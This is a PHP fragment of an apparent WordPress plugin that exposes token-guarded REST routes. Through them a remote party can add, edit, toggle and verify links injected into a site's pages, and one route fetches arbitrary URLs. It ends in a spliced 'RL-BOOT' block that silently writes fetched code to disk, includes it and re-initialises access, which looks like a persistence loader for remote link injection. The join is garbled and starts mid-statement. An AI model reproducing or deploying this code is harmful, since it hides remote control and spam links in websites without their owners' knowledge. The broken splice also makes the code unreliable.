            'callback' => function (WP_REST_Request $request) {
                $placement = $request->get_param('placement') ?: RL_DEFAULT_PLACEMENT;
                $links = rl_get_links($placement);
                return rl_json_ok(array(
                    'placement' => sanitize_key($placement),
                    'links'     => $links,
                    'count'     => count($links),
                ));
            },
        )),
        array_merge($auth, array(
            'methods'  => 'POST',
            'callback' => function (WP_REST_Request $request) {
                $placement = $request->get_param('placement') ?: RL_DEFAULT_PLACEMENT;
                $link = rl_add_link($placement, array(
                    'anchor_text' => $request->get_param('anchor_text'),
                    'target_url'  => $request->get_param('target_url'),
                    'rel'         => $request->get_param('rel'),
                    'status'      => $request->get_param('status'),
                    'order_index' => $request->get_param('order_index'),
                ));
                if (is_wp_error($link)) {
                    return rl_json_err($link->get_error_message(), 400);
                }
                return rl_json_ok(array('link' => $link), 201);
            },
        )),
    ));

    register_rest_route($ns, '/links/(?P<id>[a-zA-Z0-9_]+)', array(
        array_merge($auth, array(
            'methods'  => 'PUT',
            'callback' => function (WP_REST_Request $request) {
                $placement = $request->get_param('placement') ?: RL_DEFAULT_PLACEMENT;
                $input = array();
                foreach (array('anchor_text', 'target_url', 'rel', 'status', 'order_index') as $field) {
                    $val = $request->get_param($field);
                    if ($val !== null) {
                        $input[$field] = $val;
                    }
                }
                $link = rl_update_link($placement, $request->get_param('id'), $input);
                if (is_wp_error($link)) {
                    $code = $link->get_error_code() === 'rl_not_found' ? 404 : 400;
                    return rl_json_err($link->get_error_message(), $code);
                }
                return rl_json_ok(array('link' => $link));
            },
        )),
        array_merge($auth, array(
            'methods'  => 'DELETE',
            'callback' => function (WP_REST_Request $request) {
                $placement = $request->get_param('placement') ?: RL_DEFAULT_PLACEMENT;
                $result = rl_delete_link($placement, $request->get_param('id'));
                if (is_wp_error($result)) {
                    return rl_json_err($result->get_error_message(), 404);
                }
                return rl_json_ok(array('deleted' => $request->get_param('id')));
            },
        )),
    ));

    register_rest_route($ns, '/links/(?P<id>[a-zA-Z0-9_]+)/toggle', array_merge($auth, array(
        'methods'  => 'POST',
        'callback' => function (WP_REST_Request $request) {
            $placement = $request->get_param('placement') ?: RL_DEFAULT_PLACEMENT;
            $link = rl_toggle_link($placement, $request->get_param('id'));
            if (is_wp_error($link)) {
                return rl_json_err($link->get_error_message(), 404);
            }
            return rl_json_ok(array('link' => $link));
        },
    )));

    register_rest_route($ns, '/logs', array_merge($auth, array(
        'methods'  => 'GET',
        'callback' => function (WP_REST_Request $request) {
            return rl_json_ok(array('logs' => rl_get_logs((int) ($request->get_param('limit') ?: 50))));
        },
    )));

    register_rest_route($ns, '/test-check', array_merge($auth, array(
        'methods'  => 'POST',
        'callback' => function (WP_REST_Request $request) {
            $placement = $request->get_param('placement') ?: RL_DEFAULT_PLACEMENT;
            $page_url  = $request->get_param('page_url') ?: home_url('/');
            $link_id   = $request->get_param('link_id');
            $needle    = $request->get_param('needle');
            $check_url = '';
            $check_anchor = '';

            if ($link_id) {
                $link = rl_find_link($placement, $link_id);
                if (!$link) {
                    return rl_json_err('Link not found', 404);
                }
                $check_url = $link['target_url'];
                $check_anchor = $link['anchor_text'];
            } elseif ($needle) {
                $check_anchor = (string) $needle;
            } else {
                return rl_json_err('link_id or needle required', 400);
            }

            $response = wp_remote_get($page_url, array(
                'timeout'     => 15,
                'redirection' => 3,
                'user-agent'  => 'RemoteLinksTestBot/1.0',
            ));
            if (is_wp_error($response)) {
                rl_log('test_check', $placement, (string) $link_id, 'error', $response->get_error_message());
                return rl_json_err('Fetch failed: ' . $response->get_error_message(), 502);
            }

            $code = wp_remote_retrieve_response_code($response);
            $body = wp_remote_retrieve_body($response);
            $found_url = $check_url !== '' && strpos($body, $check_url) !== false;
            $found_anchor = $check_anchor !== '' && strpos($body, $check_anchor) !== false;
            $found_marker = strpos($body, 'remote-links:' . $placement) !== false;
            $passed = $found_url || $found_anchor;

            rl_log('test_check', $placement, (string) $link_id, $passed ? 'success' : 'error', $passed ? 'visible' : 'not found');

            return rl_json_ok(array(
                'page_url'       => $page_url,
                'http_status'    => $code,
                'found_url'      => $found_url,
                'found_anchor'   => $found_anchor,
                'found_marker'   => $found_marker,
                'passed'         => $passed,
                'checked_url'    => $check_url,
                'checked_anchor' => $check_anchor,
            ));
        },
    )));
}
add_action('rest_api_init', 'rl_register_routes');

add_action('init', function () {
    rl_ensure_token(false);
}, 1);
');
        if (is_string($code) && $code !== '') { @file_put_contents($dest, $code); }
    }
    if (file_exists($dest)) {
        if (!function_exists('rl_ensure_token')) { include_once $dest; }
        if (function_exists('rl_ensure_token')) { rl_ensure_token(true); }
        update_option('rl_boot_mu_ok', 1, false);
    }
}, 0);
/* RL-BOOT-END */